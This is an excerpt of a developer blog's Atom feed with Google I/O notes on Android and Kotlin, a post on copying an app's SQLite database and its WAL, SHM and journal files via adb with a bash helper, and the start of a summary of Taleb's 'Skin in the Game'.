<a href="https://youtu.be/BE5bsyGGLf4?t=1618&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">offline use-case</a> handling trick.</li>
<li>Don&rsquo;t do manual bitmap management. Use Glide, Picasso, or Lottie instead.</li>
<li>Between TextureView and SurfaceView, use SurfaceView.</li>
<li>Nine patches are discouraged. Use Vector Drawables.</li>
<li>Use   
    
    
<a href="https://developers.google.com/android/reference/com/google/android/gms/location/FusedLocationProviderClient?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">FusedLocationProviderClient</a> for fetching the device location. Wi-Fi access triangulation is coming to Android P. FusedLocationProvider will eventually add support for that for indoor location tracking.</li>
<li>  
    
    
<a href="https://developer.android.com/reference/android/media/MediaPlayer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MediaPlayer</a> is discouraged, use   
    
    
<a href="https://github.com/google/ExoPlayer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ExoPlayer</a> instead. A detailed   
    
    
<a href="https://www.youtube.com/watch?v=svdq1BWl4r8&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hands-on presentation</a> on ExoPlayer</li>
</ol>
<h3 id="performance">Performance</h3>
<ol>
<li>42% of 1-star reviews mention crashes/bugs</li>
<li>ANR/crash rate reduces engagement - use   
    
    
<a href="https://developer.android.com/reference/android/os/StrictMode?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">StrictMode</a> to catch them early</li>
<li>Avoid IPC on the main thread, StrictMode won&rsquo;t catch the violation, and you would never know what&rsquo;s happening on the other side of the IPC call which can block the main thread</li>
<li>If BroadcastReceiver#onReceive is going to take more than 10 seconds, then call   
    
    
<a href="https://developer.android.com/reference/android/content/BroadcastReceiver.html#goAsync%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">goAsync</a> for background processing and call PendingResult#onFinish() once that&rsquo;s finished</li>
<li>WakeLocks - avoid using them. All except <code>PARTIAL_WAKE_LOCK</code> are deprecated with Android P.
<ol>
<li>Use   
    
    
<a href="https://developer.android.com/reference/android/view/WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">FLAG_KEEP_SCREEN_ON</a> for keeping the screen on in an activity</li>
<li>Use   
    
    
<a href="https://developer.android.com/topic/libraries/architecture/workmanager?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">WorkManager</a> for background work</li>
<li>Use AlarmManager for short-interval callback</li>
</ol>
</li>
<li>enums are not discouraged anymore. Platform code avoids it but unlike in prior Android versions, the penalty for enums is low now.</li>
<li>A good introduction to Android&rsquo;s   
    
    
<a href="https://www.youtube.com/watch?v=zdQRIYOST64&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">display rendering</a></li>
<li>A good introduction to Android&rsquo;s   
    
    
<a href="https://www.youtube.com/watch?v=x-FcOX6ErdI&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">text handling</a></li>
<li>Text handling issues
<ol>
<li>Only framework spans can be parceled, don&rsquo;t mix custom spans with framework spans since only the frameworks will be part of the copied text</li>
<li>After ~250 spans or more, SpannableStringBuilder ends up being more performant than SpannableString since the former internally uses trees.</li>
<li>Metrics affecting spans cause measure-layout-draw calls, while appearance affecting spans cause layout-draw calls, therefore, the former is more expensive.</li>
<li>Text measurement takes a lot of time on the UI thread, consider creating   
    
    
<a href="https://developer.android.com/reference/androidx/core/text/PrecomputedTextCompat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PrecomputedText</a> on the background thread.</li>
<li><code>android:autoLink = true</code> works via RegEx and has bad performance. Consider using   
    
    
<a href="https://developer.android.com/reference/androidx/core/text/util/LinkifyCompat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Linkify</a> on the background thread. Android P also supports deep learning-based   
    
    
<a href="https://developer.android.com/reference/android/view/textclassifier/TextClassification?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">TextClassifier</a> which is also invoked on the background thread.</li>
</ol>
</li>
<li>Testing your app for background restriction - <code>adb shell apps set &lt;package name&gt; RUN_ANY_IN_BACKGROUND ignore</code> # applies background restriction (change &ldquo;ignore&rdquo; to &ldquo;allow&rdquo; to remove restriction)</li>
</ol>
<h3 id="next-billion-users">Next Billion Users</h3>
<ol>
<li>28% of searches in India are voice searches</li>
<li>2-wheeler mode added to Google Maps</li>
<li>Google Tez uses Ultrasound for pairing and sending money to the nearby receiver</li>
<li>Files Go - Folder-based hierarchy won&rsquo;t work for users who have never had a PC before. Therefore, shows photos based on associations like &ldquo;WhatsApp Images&rdquo; or &ldquo;Camera&rdquo;. Supports P2P file sharing for fast transfers.</li>
<li>Design for next billion users -   
    
    
<a href="https://design.google/nbu?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://design.google/nbu</a></li>
<li>Android Go
<ol>
<li>25% of devices in 2018 shipped with &lt;= 1GB RAM (target for Android Go)</li>
<li>Every 6 MB app size reduces the installation rate by 1%</li>
<li>India - largest market for Go. The USA - is the second-largest market for Go.</li>
<li>5 seconds cold start goal</li>
<li>Users opt for smaller apk sizes with a lower rating.</li>
<li>The average apk size is 30 MB. Go recommends a 40MB max app size for non-game and 65MB for game apps.</li>
</ol>
</li>
</ol>
<h3 id="mlkit">MLKit</h3>
<ol>
<li>On-device + cloud APIs. On-device APIs are free.</li>
<li>Firebase supports downloading models and even doing A/B testing.</li>
<li>  
    
    
<a href="https://ai.googleblog.com/2018/05/custom-on-device-ml-models.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Experimental support</a> to convert TensorFlow models to TensorFlow Lite models.</li>
</ol>
<h3 id="compiler">Compiler</h3>
<ol>
<li>D8 - new Dexer, now default. Enable/disable via &ldquo;android.enableD8 = true/false&rdquo;</li>
<li>R8 - new optimizer, now default replacing proguard, still opt-in in 3.2. Enable via android.enableR8 = true</li>
</ol>
<h3 id="kotlin---talk-can-be-here">Kotlin - talk can be   
    
    
<a href="https://www.youtube.com/watch?time_continue=1&amp;v=6P20npkvcb8&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a></h3>
<ol>
<li>Use properties instead of default getters/setters</li>
<li>Use <strong>data</strong> classes to generate equals, hash method, etc.</li>
<li>Use default args instead of method overloading</li>
<li>Use top-level functions as well as local functions (function inside functions for better encapsulation</li>
<li>Use function extensions to make the code more readable, eg. extend String class with isDigit to be able to later write the code like &ldquo;1234&rdquo;.isDigit</li>
<li>Use   
    
    
<a href="https://kotlinlang.org/docs/reference/typecasts.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">smart casts</a></li>
<li>Use <strong>sealed</strong> classes for a superclass which should not be extendable beyond the compile-time</li>
<li>Use string interpolation in println, eg. println(&ldquo;name is ${name}&rdquo;)</li>
<li>Use val (read-only values) by default, only use var (read-write <strong>var</strong> iable) when there is a strong reason</li>
<li>Declare lambda functions as <strong>inline</strong> to remove the cost of having an extra class</li>
<li>Use co-routines via <strong>async</strong> instead of creating new threads</li>
<li>Use <strong>suspend</strong> + <strong>async</strong> to convert callbacks into more readable synchronously   
    
    
<a href="https://kotlinlang.org/docs/reference/coroutines.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">written code</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/><category scheme="https://ashishb.net/tag/google-io" term="google-io" label="google-io"/></entry><entry><title type="html">Android: The right way to pull SQLite database</title><link href="https://ashishb.net/programming/android-sqlite/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS: App Translocation and Android Studio updates failure"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="related" type="text/html" title="Architecting Android apps for emerging markets"/><link href="https://ashishb.net/programming/adb-enhanced/?utm_source=atom_feed" rel="related" type="text/html" title="adb-enhanced: A swiss army knife for Android development"/><id>https://ashishb.net/programming/android-sqlite/</id><author><name>Ashish Bhatia</name></author><published>2018-05-01T16:00:23+00:00</published><updated>2018-05-01T16:00:23+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to correctly extract an Android app&rsquo;s SQLite database with all essential files using adb and adb-enhanced. Get seamless and accurate data retrieval!</blockquote><p>Let&rsquo;s say you are developing an Android app <code>com.example.android</code> and want to access its database file
named &ldquo;content&rdquo; from the test device/emulator.
To access this file, located in app&rsquo;s database directory, on both rooted and unrooted device would be</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ <span style="color:#268bd2">APP_NAME</span><span style="color:#719e07">=</span>com.example.android
</span></span><span style="display:flex;"><span>$ adb shell run-as <span style="color:#268bd2">$APP_NAME</span> cp databases/content.db /sdcard/content.db <span style="color:#719e07">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>$ adb pull /sdcard/content.db content.db <span style="color:#719e07">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>$ adb shell rm /sdcard/content.db
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>This seems to work but is incorrect. An SQLite database can have</p>
<ul>
<li>write-ahead logging (-wal) file,</li>
<li>a journal (-journal), and,</li>
<li>shared memory (-shm) file</li>
</ul>
<p>If you copy just the .db file; you might get an old copy of the database,
the right way to copy is to copy all the four files, so that, the SQLite on the laptop displays the combined result.</p>
<p>You can use   
    
    
<a href="https://github.com/ashishb/adb-enhanced?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">adb-enhanced</a> to do this correctly</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ sudo pip3 install adb-enhanced <span style="color:#586e75"># One-time install</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># -a copies all the ancillary files</span>
</span></span><span style="display:flex;"><span>$ adbe pull -a /data/data/com.example.android/databases/content.db
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Here is a generalized bash script if you don&rsquo;t want to install a new tool</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Sample invocation: get_db com.example.android content.db</span>
</span></span><span style="display:flex;"><span>get_db<span style="color:#719e07">()</span> <span style="color:#719e07">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> <span style="color:#719e07">[</span> -z <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$1</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#34;Please provide the qualified package name as the first argument&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> <span style="color:#2aa198">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> <span style="color:#719e07">[</span> -z <span style="color:#2aa198">&#34;</span><span style="color:#268bd2">$2</span><span style="color:#2aa198">&#34;</span> <span style="color:#719e07">]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#34;Please provide the file name (not path) as the second argument&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> <span style="color:#2aa198">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">FILES</span><span style="color:#719e07">=(</span><span style="color:#2aa198">${</span><span style="color:#268bd2">2</span><span style="color:#2aa198">}</span> <span style="color:#2aa198">${</span><span style="color:#268bd2">2</span><span style="color:#2aa198">}</span>-wal <span style="color:#2aa198">${</span><span style="color:#268bd2">2</span><span style="color:#2aa198">}</span>-shm <span style="color:#2aa198">${</span><span style="color:#268bd2">2</span><span style="color:#2aa198">}</span>-journal<span style="color:#719e07">)</span> <span style="color:#586e75"># Get the list of all the files</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">for</span> file in <span style="color:#2aa198">${</span><span style="color:#268bd2">FILES</span>[@]<span style="color:#2aa198">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">do</span>
</span></span><span style="display:flex;"><span>        <span style="color:#586e75"># Suppress useless errors, all the files are not expected to exist.</span>
</span></span><span style="display:flex;"><span>        adb shell run-as <span style="color:#2aa198">${</span><span style="color:#268bd2">1</span><span style="color:#2aa198">}</span> cp databases/<span style="color:#2aa198">${</span><span style="color:#268bd2">file</span><span style="color:#2aa198">}</span> /sdcard/<span style="color:#2aa198">${</span><span style="color:#268bd2">file</span><span style="color:#2aa198">}</span> &gt; /dev/null <span style="color:#719e07">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>            adb pull /sdcard/<span style="color:#2aa198">${</span><span style="color:#268bd2">file</span><span style="color:#2aa198">}</span> &gt; /dev/null <span style="color:#719e07">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>            adb shell rm /sdcard/<span style="color:#2aa198">${</span><span style="color:#268bd2">file</span><span style="color:#2aa198">}</span> &gt; /dev/null <span style="color:#719e07">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#34;Copied </span><span style="color:#2aa198">${</span><span style="color:#268bd2">file</span><span style="color:#2aa198">}</span><span style="color:#2aa198">&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">done</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Book summary: Skin in the game by Nassim Nicolas Taleb</title><link href="https://ashishb.net/book-summary/skin-in-the-game/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-bed-of-procrustes/?utm_source=atom_feed" rel="related" type="text/html" title="The Bed of Procrustes by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/the-black-swan/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Black Swan by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/fooled-by-randomness/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Fooled by Randomness by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/made-to-stick/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Made to Stick by Chip Heath and Dan Heath"/><id>https://ashishb.net/book-summary/skin-in-the-game/</id><author><name>Ashish Bhatia</name></author><published>2018-04-01T16:00:22+00:00</published><updated>2018-04-01T16:00:22+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the concept of &ldquo;Skin in the Game&rdquo; and learn how it influences diversity, decision-making, and societal dynamics. Unravel insights on risk, virtue, and freedom.</blockquote><h3 id="skin-in-the-game">  
    
    
<a href="https://amzn.to/2IUKdOH?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Skin in the game</a></h3>
<ol>
<li>Skin in the game creates a diversity of beliefs and ideas, for example, restaurant businesses. Lack of it creates a monoculture, for example, journalism.</li>
<li>Skin in the game comes with a conflict of interest. For example, a shareholder is more inclined to say positive things about the company, whose shares he holds. Even then, skin in the game is preferable over no skin in the game. A lack of skin in the game, usually, produces a monoculture of beliefs.</li>
<li>Bureaucrats, with no skin the game, usually make the problems worse by deciding things from the top.</li>
<li>Beware of &ldquo;good&rdquo; advice where you will get both the good and the adverse outcomes of that advice while the advice-giver will only get a good result.</li>
<li>Metrics puts one&rsquo;s skin in the wrong game. For example, a doctor who has to optimize for a five-year survival rate of a cancer patient might go for radiation therapy as opposed to laser surgery even though radiation therapy has worse 20-year survival rates.</li>
<li>Pilots have more skin in the game than surgeons. If a plane has a 98% chance of surviving a flight, then all pilots would have been dead for now, while medical science can operate with a much lower survival rate since skin in the game is primarily of the patients and much lower of surgeons.</li>
<li>An academic experiment where one is supposed to wager a bet and hypothetically believe in a specific scenario is devoid of real risk and hence devoid of skin in the game.</li>
